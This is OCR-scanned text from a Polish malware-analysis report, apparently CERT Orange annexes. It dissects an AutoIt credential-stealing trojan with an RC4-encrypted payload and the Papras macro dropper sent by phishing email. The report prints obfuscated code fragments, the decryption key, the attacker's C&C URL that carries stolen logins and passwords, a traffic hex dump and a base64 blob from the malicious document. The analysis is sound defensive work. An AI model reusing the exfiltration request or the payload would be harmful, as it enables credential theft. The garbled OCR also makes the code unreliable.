e 3t Defaut) REG 52 (value ot set)
wis | 28| WerFault REG_SZ Ci\Users\lwo Graj\AppData'\Roaming\34162.exe |

- Windows
4 CurrentVersion
Action Center

Applets
Explorer
Ext =0
Group Pelicy @ B . " = co Il
HomeGroup Uv] CA\Users\hwo Graj\AppData\Roaming| | v| *4 || seare el
ime - : B

Organize = Include in library = Share with = New folder - [ 7]
Internet Settings 2 it i i @
MCT k Favvoiitis Name ize
NetCache B Desit
Policies o Cyeye
RADAR & Downloads Hute
Run - = Recent Places Identities
RunOnce Media Center Programs
icremsavel.; 4 Libraries = Microsoft
Shell Extensions - Notepads+
Sidebar N Musi Pati
Telephony ) .LISI( ati
ThemeManager &= Pictures Qeopm
Themes B videos Vrepbi
WinTrust n 34162 B |

DWM * 1% Computer
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\( =
10 items
'

Rysunek 54. Lokalizacja pliku wykonywalnego w systemie Windows

folleE=
@Q" e Users » IwoGraj » AppData » Local » Temp » v |44 ||| Search Temp Je)
Organize v Include in library » Share with v New folder =~ 0 @
i Favorites 0T -
Bl Desktop APN
@ Downloads Low
. Recent Places WPDNSE
_ ~DF1CB3D4C328309648.TMP B
+4 Libraries | ~DFIF3A1859C3EB0E0E.TMP B
¢ Documents | ~DF6D47436DDD12AA38. TMP B
g Music ~DF4204797560DD9150.TMP
&) Pictures | ~DFC99C032301527203.TMP
B videos | ~DFD424FCES662817F8.TMP
_| ~DFE366CT03D5408EF2.TMP
1™ Computer | ~DFF32720B0E3377106.TMP
~DFFASEDC4AB602953C. TMP
€ Network FXSAPIDebuglogFile
_ wireshark_pcapng_07413EF8-2AB7-4F12-...
i xd
15 items

Rysunek 55. Lokalizacja pliku docelowego ,,xd” w systemie Windows

gde _rcd (FileRead (ETempDir & "\xd"), "ATuglWeGggHWUpmYZ2gyjve™
If 0 1 Then
g n _getvbec

Rysunek 56. Kod zrédtowy pliku ,,xd”

Chr (98
Binarylen scp

;_rcd_opoode
DLlst

Chr(121 Chr (116

Chr(101 #aa82 : Chr(l00
Chr (108 Chr (108 Chr (87
Chr{110) & Chrilol
Dl1StructéetPor (focodebuffer

Chrill6) = Chr(lol Chr (91
Chri93

Chr (101 Chr (91 BinaryLen|§data Chr (93

Chr (108 Chr (108
Chr {105 Chril10 Chr (100 Chrilll Chr (119 Chr (80 Chr (114 Chr {111

“ptr®, Dl1StructGetPrrifbuffer), StringReplace(~i#c®, =#=, "n" Binarylen §data), C

Rysunek 57. Zaciemniony kod funkcji ,,_rc4”

uffer), "ptr®, DllStructGetPrr|sbuffer “int", BinaryLen §data}, "str®, §key, “int”, 0

Rysunek 58. Kod funkcji po usunieciu zakodowanych znakéw CharCode

EndFunc
_rcd_opcode "byte["®
ctCreate (§ BinaryLen{$opcoed
BinaryLen |§data
", DllStructGetPtr|§codeb
o
EndFunc
Fanc _get n
Local Chr (70 Chr (67 Chr(48) = Chr(48
Local Chr(l20 Chr (67 Chr (56 Chr (48
Local Chr (56 Chr (57 Chr (53
Local 1 & Chr{sl Chr(&8 Chr (48

Return jopcode
EndFunc

: Chrid8) « Chr(49) & Chridg Chrid48) « Chr(4g Chr(d48) « Chr{55) : Chr(68
Chr (48 Chrid8 Chr (48 Chrid8 Chridd Chr(54 Chr (65 Chri4g

Chri69) & Chr(56) = Chr(70 Chr(69) & Chr(70 Chr(70) & Chr(70 Chr (70

s Chz(70) & Chr(69) & Chri70) &« Chr(70) s Chr(70 Chr(70) &« Chr(sé Chr(56

2]

a0

Rysunek 59. Funkcja ,,_get_rc4_opcode” zaciemniona CharCode'em

Func _get_rcd_cpcode
Loce pe

Return
EndFunc

Wirus uzywa takze algorytmu RC4, dekodujacego
cala zawartosé¢ pliku o nazwie ,xd” znajdujacego
sie w lokalizacji ,,C:\Users\lwo Graj\AppData\Local\
Temp\” (rysunek 55.). Takie dziatanie powoduje, ze
antywirus nie oceni kodu jako zlosliwego, a takze
- przy braku hasta - znacznie utrudni analize.

Kod zréodiowy odpowiedzialny za odczytanie
i zdeszyfrowanie pliku ,xd” przedstawiono ponizej
na rysunku 56. Klucz deszyfrujacy plik ,xd” to:
ATug1WeGggHWUpmY2qyjve.

Na rysunku 57. przedstawiono zaciemniony kod funkcji
_rc4, ktora okresla zawarto$é zmiennej $de, uzywanej
w dalszej kolejnosci do realizaciji ztosliwych funkciji.

Kod funkcji po usunigeciu zakodowanych znakow
CharCode przedstawiono na rysunku 58.

Kolejna zdefiniowana funkcja _get_rc4_opcode
- zaciemniona CharCode'em zostata przedstawiona na
rysunku 59.

Natomiast wyczyszczona przedstawia rysunek 60.
Na nastepnej stronie przedstawiono pozostaly zbiér

Rysunek 60. Wyczyszczona funkcja ,,_get_rc4_opcode”

zdefiniowanych przez autora funkcji uzytych w kodzie
(rysunek 61.).

Po zdekodowaniu pliku ,xd” za pomoca klucza RC4
znajdujacego sie w pliku z ,faktura” przeprowadzono
analize wykonywalnego pliku binarnego
odpowiedzialnego za ztosliwe funkcje - wykradanie
logindbw i haset z przegladarek internetowych. Na
ponizszym zrzucie ekranu (rysunek 62.) przedstawiono
program zatrzymany w momencie wysylania
skradzionych danych do serwera C&C. Na rysunku 63.
zas obraz przesytanych danych do serwera C&C.

Na potrzeby analizy zostaly utworzone
uzytkownik i hasto oraz konto pocztowe.
Przekazywanie = wykradzionych danych przez
malware z zainfekowanego komputera na serwer
cyberprzestepcy bylo wykonywane za pomoca
nastepujacych zadan HTTP:

http://update-microsoft.pl/wp-config/isr/api/index.
php?action=add&username=marcin.kozlowski007@
02.pl&password=&app=IE%207-9&pcname=CERT-
ORANGE&sitename=http://poczta.o2.pl/
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Func _f3(%a
FileCopy(@ScriptDir
ShellExecute (5

EndFunc

Func _getvbe
farray = _flta($wd & §
Return $wd & $rf3 : %a
EndFunc

Func _dl(sa
Return STRINGREVERSE (52
EndFunc

Func _d2(%a
Return Binarylen($a
EndFunc

Func _d3(%a
Return DllStructGetPtr(sa)
EndFunc

Func _d4(sa, &b
FileWrite(sa, &b

EndFunc

Func _d5(%a, $b = 0
Return FileOpen($a, $b

EndFunc

Rysunek 61. Zbior pozostatych funkcji uzytych w kodzie
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Rysunek 62. Wysytanie danych do serwera C&C

Po analizie okazato sie, ze stabym punktem tego trojana
byt sposéb przekazywania wykradanych informacji do
cyberprzestepcy. Opisywany malware byl pierwszym
przypadkiem skoordynowanego mechanizmu uzycia
CyberTarczy - analiza zostata podjeta natychmiast
po uzyskaniu informacji o ataku na klientéw i marke

Orange, ztosliwa aktywnos¢ kodu zostata zablokowana
od razu po dotarciu do dotyczacych jej informaciji,
nastepnie za$ szczegoétowe dane na temat dziatania
malware’u i sposoboéw na jego usunigcie zostaly
umieszczone w CyberTarczy.

13.9. Zatacznik 9. Trojan Papras

W czerwcu 2015 roku wielu polskich internautéw
(przede wszystkim uzytkownikéw ustugi Gmail)
otrzymato dziwnie brzmiace wiadomosci e-mail:

Od: Ana Skalka <AnaSkalkahlwe@studiometria.it>

Data: 18 czerwca 2015 14:42:41 CEST

Do: adres_ofiary@gmail.com

Temat: Need your attention : Your request has been
successfully submitted. Takeover/Cloud 9

Oa: "Willard ~ Pienkowski" <WillardPienkowskiai@
wheatcraftconsulting.com>

Data: 18 czerwca 2015 14:10:16 CEST

Do: adres_ofiary@gmail.com

Temat: Your attention is requested : Your request has been
successfully submitted. REVOLYMER PLC

W obu wiadomosciach znajdowaly sie zataczniki
w postaci plikéw Microsoft Word o nazwach:

12_4325.doc
437_60900.doc
506861.doc

Address |Hex dump ASCII -
C8 EE FE EE FE EE FE EE FE EE FE EE FE EE FE|& mERER
65 84 F2 11 9E DS @88 1E &8 74 88 74 78 c524hF 4h £t t p
2F 8@ 2F 75 @@ 7@ 64 @8 61 74 t s supdat
20 @8 &D 69 8@ 63 72 B8 &6F 73 e-micros
66 B8 74 2E 98 7@ 6C 88 2F e oft.pl-sw
20 88 &3 6F 88 G6E 66 B8 69 &7 p-confiag
69 BB 73 B0 72 D@ 2F 00 61 B0 YO A 62 @B/ L = r S ap |
69 BB 6E 90 64 D@ 65 60 78 OO 2E 8O 70 @8/ indew . p
70 88 3F 61 88 63 74 88 569 &F hp?actio
3D 8@ &1 64 B2 64 26 B8 7S 73 n=add&wus
72 98 6E 61 8@ &0 65 8@ 30 60 ernamne=m
72 88 63 69 98 6E 2E 88 6B 6F arcin.kao
6C B8 E6F 77 88 73 6B 88 69 38 zlowsk i@
37 @@ 48 6F 8@ 32 2E 88 7@ 6C B7Eo2.pl
BB 70 @0 61 BB 73 98 73 00 77 OO 6F 9@ 72 POk p a = = w o T
B8 30 @0 26 00 61 98 7@ B0 70 66 SD 6@ 49 PA|d = & app = I
25 88 32 38 88 37 20 8@ 39 26 EXz28B7-9%&
78 63 88 BE 61 8@ 6D 65 8@ 3D 43 pecname=_C
45 52 9@ 54 20 9@ 4F 52 88 41 4E ERT-0ORAN
47 45 8@ 26 73 8@ 69 74 @8 65 &E GE&%s i ten
61 60 @@ E5 30 98 68 74 88 74 78 ame=http
3A 2F 8@ 2F 78 98 6F 63 88 7A 74 r//pococzt
61 @8 2E 88 &6F 32 88 2E 78 88 &6C 2F a.o2.pl~s
BB 80 AE AE AE AB AE AB AE RE EE FE EE EE ikl cmEnEn
B0 60 B0 BA G0 00 BB B0 42 F2 36 AS DS 8@ 1 BazeiF t
75 70 88 64 61 8@ B 65 00 2D BB 6D BBlu pd a t & - m =
69 63 @98 72 B0 73 0O 6F @0 66 BB 74 BO|i cr 0o s 0 f ¢
2E 7@ @@ 6C B8 9@ AE AE AB AB RE RAEB AE AB|. p |  ‘'shsilaehsld
28 28 82 9o 88 98 41 84 F2 35 SF OS 80 1 R32CAF &
25 77 @@ 78 20 9@ BB 6F @0 6E 6B 66 PB|- wp - c o n f
69 67 B8 2F 69 9@ BB 72 PB 2F 60 61 BB|li 9 ~ i = ¢ 7 a
70 80 69 9@ 2F @0 69 B0 6E 0@ 64 @0 65 BB 78 BO|p i ~ inde n
2E B0 70 9@ 65 00 70 90 G0 00 AB AB AE AB AE AB|. p h p  %kikk
AB AB EE FE EE FE EE FE 98 B8 6@ B8 88 KuEmENEN
6B 84 F2 1IF 8C DS 88 1A 3F 61 B8 63 74 k32ViF +? a c ¢
69 6F @88 BE 30 98 61 64 B8 64 26 ion=addd
75 73 @8 &5 72 8@ &E &1 8@ &D &5 MUsername
30 60 @@ 61 72 98 63 69 8@ &E 2E! =marcin.
6B 6F @@ 7A 6C 88 6F 77 88 73 6B koz lowsk
69 B0 30 9@ 30 @0 37 00 40 0O 6F @0 32 PO 2E @O|i @ B 7 B o 2 .
70 90 6C 9@ 26 B0 70 60 61 @0 73 80 73 PO 77 @0|p L & p a s s w
&6F 72 88 64 30 88 26 61 88 7@ 78 ocrd=z&app
3D 49 9@ 45 25 8@ 32 30 88 37 2D =]IEX287 -
39 26 98 79 63 8@ 6E 61 88 6D 65 9&Eonane
3D 43 8@ 45 52 @@ 54 2D @8 4F 52 =CERT-0R
41 4E @@ 47 45 98 26 73 88 69 74 ANGE &s it
65 6E 8@ 61 60 88 65 30 88 68 74 ename=ht .
74 B0 70 9@ 30 B0 2F B0 2F 00 70 60 6F BB 63 @B\t p : £ S p o C

Rysunek 63. Obraz danych wysytanych do serwera C&C

W obu przypadkach mamy do czynienia z tzw.
dropperami. Po uruchomieniu pobieraja one w tle, bez
wiedzy uzytkownika, kolejne zlosliwe komponenty,
po ktérych ,zlozeniu” ostateczna wersja ztosliwego
programu jest aktywowana na komputerze ofiary. Po
uruchomieniu zatacznika uzytkownikowi otwierat sie
pusty dokument zawierajacy monit o wiaczenie obstugi
makr (rysunek 64.).

Wstepna analiza wykazata istnienie  funkcji
smakra” uruchamiajacych ztosliwe funkcje. Kod byt
zakodowany algorytmem base64, jednak prosty skrypt
w PHP pozwoli go odzyskaé¢, bowiem nie posiadat
w sobie dodatkowych algorytméw utrudniajacych
zdekodowanie. Mechanizm wirusa z zawartosci
zaciemnionego kodu tworzyt wykonywalny plik binarny.

<?php
$str = ' <algorytm base64> ;
echo base64_decode($str);

7>
W & %
™ TesgsNewRom = 12« A" A" Aa~ ® S 1=-3 i@ 3 T,
;BIIE'J-J(.J(' -w-A- FEEAIR 2 h-T
1) Ostraetenie o zabepieczeniach  Makra zostaly wytsczone Wiatz 2ewartodd

Rysunek 64. Monit o wiaczeniu obstugi makr
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Ponizej zawartos¢ dokumentu 12_4325.doc:

MIME-Version: 1.0

Content-Type: multipart/related; boundary="----=_NextPart_01D062F6.EA2D7970"
PRRRRR PRERER PRRRERER] PRR-RRERIRRER 2] PREER] PR, PRI
PrrRIeRITel?) RIeTleTel?] Rrel2-(reelerele], (PIerel?) [12] Rrerelerel?] (21ere] PrimEl e 2l

PRERER] PRERER] RREERRERERERI? PIRR] PRI (12 PRI ] RIreT?]

PR, PrRERRERER RRERRERERERR], PRRRERIEREERERR] RIerR-Rlreler

T2 Microsoft Internet Explorer.

—————— =_NextPart_01D062F6.EA2D7970

Content-Location: file:///C:/CD289E43/1.doc.htm
Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset="us-ascii"

<html xmins:0=3D"urn:schemas-microsoft-com:office:office"
xmins:w=3D"urn:schemas-microsoft-com:office:word"
xmlns=3D"http://www.w3.org/TR/REC-htmI40">

<head>

<meta http-equiv=38DContent-Type content=3D"text/html; charset=3Dus-ascii">
<meta name=3DProgld content=3DWord.Document>

<meta name=3DGenerator content=3D "Microsoft Word 11">
<meta name=3DOriginator content=3D"Microsoft Word 11">
<link rel=38DFile-List href=3D"1.doc.files/filelist. xml">

<link rel=8DEdit-Time-Data href=3D"1.doc.files/editdata.mso">
<title> </title>

<!--[if gte mso 9]><xml>

<o:DocumentProperties>

<o:Author>1</o:Author>
<o:LastAuthor>fdgfdger334fdf</o:LastAuthor>
<o:Revision>3</0:Revision>

<o:TotalTime>2</o: TotalTime>
<0:Created>2015-03-20T06:15:00Z</o:Created>
<o:LastSaved>2015-03-20T06:16:00Z</o:LastSaved>
<o:Pages>1</o:Pages>

<o0:Characters>1</o:Characters>

<0:Company>&#1051;8&#1056;&#1083,;&#1072;&#1088;&#1074;8#1087;&#1080,;&#1086=

;&#1048;8#1044,;8#1040;8#1074,8#1088;</0:Company>
<o:Lines>1</o:Lines>

<o:Paragraphs>1</o:Paragraphs>
<o:CharactersWithSpaces>1</o:CharactersWithSpaces>
<o:Version>11.9999</o:Version>
</o:DocumentProperties>

</xml><![endif]--><!--[if gte mso 9]><xml>
<w:WordDocument>

<w:Zoom>125</w:Zoom>
<w:GrammarState>Clean</w:GrammarState>
<w:PunctuationKerning/>

<w:ValidateAgainstSchemas/>
<w:SavelfXMLInvalid>false</w:SavelfXMLInvalid>
<w:lgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:Compatibility>

<w:BreakWrappedTables/>

<w:SnapToGridinCell/>

<w:WrapTextWithPunct/>

<w:UseAsianBreakRules/>

<w:DontGrowAutofit/>

</w:Compatibility>
<w:Browserlevel>MicrosoftinternetExplorerd</w:BrowserlLevel>
</w:WordDocument>

</xmi><l[endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DeflL ockedState=3D"false" LatentStyleCount=3D"156">
</w:LatentStyles>

</xml><I[endif]-->

<style>

<!--

/* Style Definitions */

p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";

margin:Ocm;

margin-bottom:.0001pt;

mso-pagination:widow-orphan;

font-size:12.0pt;

font-family:"Times New Roman";

mso-fareast-font-family:"Times New Roman";}

@page Section1

{size:595.3pt 841.9pt;

margin:2.0cm 42.5pt 2.0cm 3.0cm;

mso-header-margin:35.4pt;

mso-footer-margin:35.4pt;

mso-paper-source:0;}

div.Section1

{page:Section1;}

-->

</style>

<!--[if gte mso 10]>

<style>

/* Style Definitions */

table.MsoNormalTable

{mso-style-name:"\041E\0431\044B\044 7\043D\0430\044F \0442\0430\0431\043B\=
0438\0446\0430";

mso-tstyle-rowband-size:0;

mso-tstyle-colband-size:0;

mso-style-noshow:yes;

mso-style-parent:"";

mso-padding-alt:0cm 5.4pt Ocm 5.4pt;

mso-para-margin:0cm;

mso-para-margin-bottom:.0001pt;

mso-pagination:widow-orphan;

font-size:10.0pt;

font-family:"Times New Roman";

mso-ansi-language:#0400;

mso-fareast-language:#0400;

mso-bidi-language:#0400;}

</style>

<![endif]-->

</head>

<body lang=3DRU style=3D 'tab-interval:35.4pt">

<div class=3DSection1>

<p class=3DMsoNormal><span style=3D'mso-spacerun:yes'>&nbsp;</span></p>

</div>

</body>

</html>

------ = NextPart_01D062F6.EA2D7970

Content-Location: file:///C:/CD289E43/1.doc.files/editdata.mso

Content-Transfer-Encoding: base64

Content-Type: application/x-mso
QWNOaXZITWItZQAAATAEAAAA/IITIXAAB/CcPWAABAAAAAQAAAAAAAAAAAAAAADKAAB4nO19C3wb
xbnvaCXbshl/EjshhEc2TiBOcBxJfsQOmOht2ZYtWZJtyYTEelm2I0uyJD+hoCROmIAePhRo4HDA
hZYbaOAYQiFwaDEhoSmFNu1peymXW1wKOWIP220eDTTF95vZIbSWVilUxufdc8vMm/9HMaOb7z37z
+HZnP61P/GzR1LefXP47IHRci4To85IsIMnJE7AgRz5CFHWIAZ/PzMzEsmfmj6/USXdAFvTbEOAI
KAHATS5muhhlAySABYCFgBXxALIAPsAIWHLAYUAAoBCwFFAMuAiwDXAy4BLAKcCngMsDIgBUAGrAS
UARYDVgPuAJWJWANYCO7ttbB51WAEKApYAtQAOAKKAHsgDJAOaACUANYCKgCVAM2Aa4GXAOolWMb
0CcOABUAJUAHUAATAC9ABagF6QB2gHtAAMAAaAUOAIBAEaAaYARaAFAACaAWOAWXxs+9vh8zpALbve
Cp/bABOABSAJCAHCAA+gE+AFdAGBAT2A7QAMWIBPnwWFAKE 1/mcMMkgloAn2hRX74DKFhdC7HUhgx
MVKXfOFZhWSd61fOEwK8ZkS3MHmMtoH3IOTHOPsSwisX4s7+AN/bJ/c4NGg59KX5KwNXn2db7WMh8
qqFXHSgM/2Rz4s8Ffrw047I7tvx4Xv8Hy4+VEVVHufMfrwl4DfhH8x+PPbwGcOc/XkfwGsCd/3iN
wGtA8vzHIWPzHE8PeA3gzn+8juA1gDv/8RqB14ANbH2sNTma2/zH9b/M/Mf1v2j+47UpNv/xkL8e
EJv/uP65zn+8hsTmP67fB594/IYBEUA/YAAWCBgC4Nk8ArgBcCPga4CbADez9QXvH40KSMS8LKkHQd
RY1l02Bhpl6IdILI/XuRCAbCpcgUCVR4XJGMZtwICqowkyqseZySZFE+QaE4c3E2tTj6/bdfbc1D
C6n6xddQkqVIEAPH3PkBn+dabulwbpgbWuxDHhMMoC50xVYkXle21N4glUrlOonyMul6JBaJ1Egi
PHIFi6XS8sqvrULyUukq6Sr1JrSirdvwDgyG0ZbwcDji6 SOTybclPfLSiM+JVhkNWIrZH4kGeh2R
70AfdQgRtUVvbFAj10nwZEImgQ6A0R3NUI4vo6KLsqGBdyRa1cLEk8+Forxgpd600dnZ2u0a9Rg3q
JIK+XTu9D2REV9y 1c2XtDXKNDIVppOXq9RUqpFOulOliqvVjKo22lupVKqOe5eXRDPleb/R5b8iB
emldt88T3qJQB3p7A35RZiPqdoUC4UANLK+WLkfI496CjDpdnVork6EtiRZjqcZgyFz19fxdjbRM
VioV0Obnjt/Thm7nRMgRGo5eEUV500f2LKEFRwTGOxerPMja1R3WBFz90V6PP1KLIk1m77R0dnZD
72sm9XtdqF9R50H+Sf+65T9dIH9zwaWTMDUfO6SEMtW+n0QfuFxFaQUZJUdWSpxFKvFVGSrBxarb
1D5HOGyYV1R65RK30cihWhU/ASrRenyVvyvrZdJWMyWBdev+Svv3nbkseKLZfJGy+T1+HwOS3Lkusx1
XftlZY2XrSurwx917sv0q 1vaLyt/PLf80VwcWI7MLdo0o3k+t+L.x3IgKR8nHi7kP5d6xpOX53MrH
cysfJaEF57XYn8/d+HjuRiiGP3BW/regWNXjuVWPkpAUOzn4fG7147nVUAx/4Ky173/9ydwdv3p4
VFqLchXDf/7xqBTIiUXyfNGLAy+9c+PBMzfkKe7qzdixlzdP9nogTzZz+TuXf3jqghjx090xvnvJdu
b17H3Xmim/M2m08UfvaLF7MupnaWXTRV/3iGoGHFs1n5DXnUi1kvwmdJ43ee/ezHruSxFw+MZjoZn
S4INX499s6/4xayZ57L.G4ZuX4JsTpMrP8Tfum/PQc 1nlcPPjGSsNz2ZJDWyV0yhXdnPec 1kdhscz
dhiAZiz2Dfra549gmkn45ndQZdrwX8w305fthPPpRpCIbHw2y9TI1lilcmYu/+jyxoC7/5¢c+z9Pa
RsV+t2K/8tCD39eKqEPaBVBgX/XmMX24fKUC 1r2yb+ULnkKcQ7AULMAORIECFfglzqgEYQ/IT+LyK
YySMp//6G/wNjkcBz+A4MaUxs3NuBnD2gU0SJsPmdJwsIbiMEAjGbwouZ+IvVEMPSNWmM5jYiHT2L{Z
OML/9juVYqJrSz7TTgGyLIzH7mJi8P01TCzWegHYHims5TqwVzqwW2Vgs+Rw/bQellUcHJNBrBJs
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H87bCCVWTAghFP7JSZ0yyJdBriJYAOZXAQG2lISUuZ7MR2z7BKI3djiOrfgVbJ4+rvnERRX3PJPT
Z50fzPePNcmUf3vWdd05Hp+/KsDNj2bPop49+tjue WoCKSORULezP418dKtqW5QOjFyl1dBEsp Ypw
WFaUI5GcUokcYSoivlUGnhn4q08iV65VSxoJUVKHPb CyrWi+tgi6Rq8rKNspUooqv5dxY6ws4HSqf
4KglI6HAJ7tTIO3xhzOK30OuShHRGHO07dkhSmk8Lg9L p8DZdZIutH3Fqm1Q8FAMPIsuczq6Q36HNGI
R+MJdQ8svQKp+80ORQG/3iGCBNkeS9sQT15/yOSkudw7XvzRKXH8m+MvmzI9FxRaNs6kj5eUvnzP/
uZ6/gpe/Ys78sfv1s+U3ctiPYf13XTe//p/HY379vzDXf/IXav0/h/mvXz0//8/jMT//L82z5X3ah
zv8Zzfz8P4/H/Py/MOd/+YU6/+9YM,;//z+MxP/8vzPIf8ZWa/4n9h805KW4u+x8diG//Y+Oc+fGi
9Z9Lni1/kJe/as7853r+UV7+6jnz497Fz2bPIn8MzWn/p8U+v/6fx2N+/b8w1//Kr9T6fw7zP/9b
8/P/PB7z8//CnP8bv1LzfwdgJ2AXYBSwWG7AH8HXAXsA+wC2AbwBuBdwGuB1wB2L8h/4JPu8EfBNw
F+BuwDOAWCVQfsC9gPsA/wy4H/AvgAcAD7L 1vw2fDwEeBnwHS8F3AI4D/ATgAeBTwGOB7glOAXwFP
AP6Vrf8kf{GKHhkOApwHfR3hpQuhZwGHAc4DnAf8GeAHWABAPAS+y9V+CzyOAIwFHAccArwB+BDgO
+DHgVcBPAK8BXgf8FPAztv7P4fMXgHIHzPL5K8CvAT8T8AbgN4A3Af8L8BbgfwN+i/ AGXNTHijtfv
AH4PeBfwHuAk4D8ApwB/APWR8J+APWH+DPgL4L/Y+u/D5weADWETATAGFAL4K+AO04FPAZ4C/Ac4A
/o7rAWbY+uew/p8cnF//z+Mxv/5fmOt/1Vdq/T+H+b/2/fn5fx6P+fl/Yc7/6q/U/Of+/kA6B8XI
z2H/axxwiuf3D3P5BQTmx79NwLIDOFv+iTT8c/GAm8v5T6bhn4sHHObPRcwCerb8Jzj857D+Hzwz
v/6tx2N+/f9qrv+H/tHEHW2HZVJsAKbFKIAAQ9gAIB1rAJCUNQBoPWsAkJQ1AGJVzACMOnyCVxgD
QOtiBkDhiRmAaChmABbWudFBxgCIwjEDgBysARAsvYI1ANTIPzIA5zD/Pzw1P//P4zE/ly/Q+S+7
QOc/3uean//n7Zif/xfo/JdfoPP/ut/Nz//zeMzP/wt0/pd9leY/d/9nLr+Am8v+xxTi3/+Yyy/g
9J+8iwK/f+Js+afT8M/FA24u549HGh//XDzgMD9+/wZ+78bZ8ucl5rT/s694fv0/j8f8+n+Brv/l
X6X1/xzmv3v++u98HvPz/wKd/xVfqfkvwLOMkw8gAmMQAMgFZADEgGYyABLAAsSBOQAcgF5AVbOX/C5
GFAAKAQsAeAISSLAMsDFgOWASWCXAI4DXA5YwdZfCZIFgFWAT1YArAFcC1gCKAWsBE6wBXAUoAGWGI
XsURnNINDRF3714ZTtlZj+/ProSOQsRh7SMnjppxdPdPcRnGI9s4WDGAU9IdG3tzGy 7BKX2IcejO
fAKntlyvdn/VnOhJd1197051kSDAu2/0Dj+JUA+OPXfuLKtim1if7wX04xbpl11cUSuFGj3iGxRzD
dDrvFXC+cDXLPDYIT01P3yKFmzv8a1nm0emDF5G2YHdArfbPz8FaiA38vnHZ7zy/+GacYD+tw12eP
4xR2sm73evpvL SftVDr82M968Xs45WGdpz9+DqdY/2nNbx7DKeJCbQOO/pmcu8HM+Ejn/hanYm7S
Y+TcGU/pwZHb/gWn2nSMJ/QLFUSD5D0QQc2Dd+CUpZbxiH7pJMww1lciwHR0Z3j1alyEeDwPNzf+
5xIC6/Xh9yRYIvyCiA7pnNjFeVsLTvmZdytOPd6PUBNIKzQjHpeNZ/+edCoh7iwuzz/OQunMdJe
zNiJ+d/I0GK9IK1fJycd81S+9Ls4xTgr25peVuOUb4BxR|7yLk7F/JF/+TZOMS7JKu8YDNAFCPsd
t/rhvMLub5M+xw7G2L.9487/iVA903vbh7con3idVsU+xva/2sAiniF+xY8Q+8jKhtHilZ/HELUQZ
rL/wNc+SfmV9hkOHycrluA03f+tanOqy9WC34PbvFZGmtjQS12B9K1Gbxk7cg39bRkYqcf+tdX5z
mixU4gLs9I9xPxmpxA3YpNz+P2FalrfbHcajFLv6eqfl11k68da9g/0sH696cBnROe02qzGOECcGM
6651BdEW677r+iOZwKxjbsuxKOjPMc65XYeYyc046BotK8nwURIbvdahinwLTmEvXOyEe3QSp2x6
Xx9/3X8mJMI62DZGG18jAtvuM2NV24kmigdb2NuxuO5KPU72sw2wgE6diPrMTPyBqZF1bv72BtIVx
bVeQuoRVIWXIfubUQK48jq2voAYce+rJHO4bpv41R4elR4s3ZeRer5iMQtIYYPyel Degb+dC90
sc6p9XsOk4HBuUJy6VmOm45R10y3NI7pmPE+dItCnCGFfOtffZQYMcSQNLbmYSG9hnEkrfkémlusp
OubHKdZZ1PgHmgwR7C+qa3JP1ZE+wJ6g7mH7T8xklcDeoK3bvVEyYIZ8fcQOPOFEJOWDpID2WT
Ick4fdq2kRTx+/Qb+8VkXtdrGMfOvz11tMD6dvrW4RTi3mn3fWrBSyKMMFgPiQMnOb7/PGkT64d5
5ZTRFOUK+YwWp 1jPy2FJMO7FvC+WIJTJAOmMOn/P56Qkcayst79uY4wFdq70eB/1TkmIJHCwtdSO1
ZKwNdBIPypE+MtYYJ8qh/OVGgo11pBz/Jzltiatks3Lj/yAyPc3d2FnyehNzwclL4S758/xQVINY]
Ei93xCUSDvNisH+IdYu8pISMVsbvMfijpb5FRQFwfg47Pr2HOXF2vJeM5DrW4XGetJj1eTT/1UPa
wTgz6m77JrPkKF3t123dj0QIg890PBrtZJTHNnBYf/jf2vinj4vPbyHkzzov6IWJKDNg9sS 1sXHw3
YcAuik1G0+9zyZIiIN8VQf/OPo1K4SY251Z110NsxjvMYoxZzRdxDuCNDjBPisqclG+uHeJrMIPol
8Tts6yKzYaiJ+B5qjpBFc8SG/Q9t5k+tpM2hZIgoff4f3kPGcle THfsWPIZADOUw4150e5NIYVOH
T71BZi3jPeh9GpERxngQOhdRRIq/jXgIXjZIxpsy QrwEHWSRHmMYdBV/4HjbWxAHQHyZn9nNSmijix
OestrbMVra+T8QNOk1kY6SZuf9Z7/0605iGuf6460+FsZdz/niUmI3HJcwQPrSDaZnz2tFtflizX
wzj4HSKzgbjiudUjooclg8IMnPEGTkxKsv54SrJi2 1h/uiNknrMudYMF5PyJV123eWgBMS/EP86r
av7nPxCbqgenrwh5yS98hi6armbi/9Z0OR5mM94Mpfd/ONcYLr+/NnRPusY9vQBNEb8W1rae4lowm?7
t2HVttvdpX3MFS20i8hkXNi2f2MHERNWjW3iP4nOApO+7Kb2/XbSziDjgRa4FadYZ7XhTd/FPANU
36Cqh/GHJ1x0SooovDuhEXzRXe0aSoBkaC2Ft9ivooRwp7CewlvtG6gMJEYyCm+511FZcFVWQeGt
941UNpBVUXKwkIdTC2Co11B4K38zIQPLGd4UWA4TUVB5ajLQU3tqvpRahQIRHLUZLUANVgJaiRqoQ
XfR/0a0HUfihAXUWew25FH40zDygKKAQ2ejBx 1LQw8zMMtBDrOQyVInwPezleXwcPH/MH2d9+CMb
rtTHESwgzLcUNYwtsWzUvJZgbJZqfJZqYpZqcpZqY2zUIWzUtWz2ZMalM7s1stnNkc 1uj2x2g2Sz
WySb3STZ7DbJZjdKBq1i7qtr2NvrHIkebiew8a0pKsqRNDI6IcJunBQxX6oD/giYMeyal4WsVijh
7A741YHeoCPS7fR5yuQ1+Cd1crkcdA4F1121NUXIyvigbWVIddXGSg1B2UYZBnbbMalqirQbtRXI
Kql6YOVZuVRXIcPQSZU6MVQK5NrpHJZxcZyqUqzsay8 TKPUIGIOmjJduUxaptqorVbpVJVygXKj
vGyjrkwglLSsHgbXqmqgKq8qpKeZVSV1FVraqmoZICEf01+nT4QjtDaoQhcFHtCdJ2/M3B9jiQ+UmQ1
NSRVAWHUXSOWIctXS+TqXXrq7TIZeulUgVUXS2TSaUVyq9d3arSXs0dXyAZb9+Egwb6XBwRy95hq
5BUINIZMWI5eQpdvrCqgh29nOkNVIS+j4fzZWbK+fNLePNLefNreDNre TN3cibW8WbW82bK5PyZ/Of
nYz/9GT85yfiPOEZ/xnK+E9Rxn+OMv6 TIKWcJTtFaiogiSGTVIbjWFkJnc61nDsCOj4uR4ghnPUw
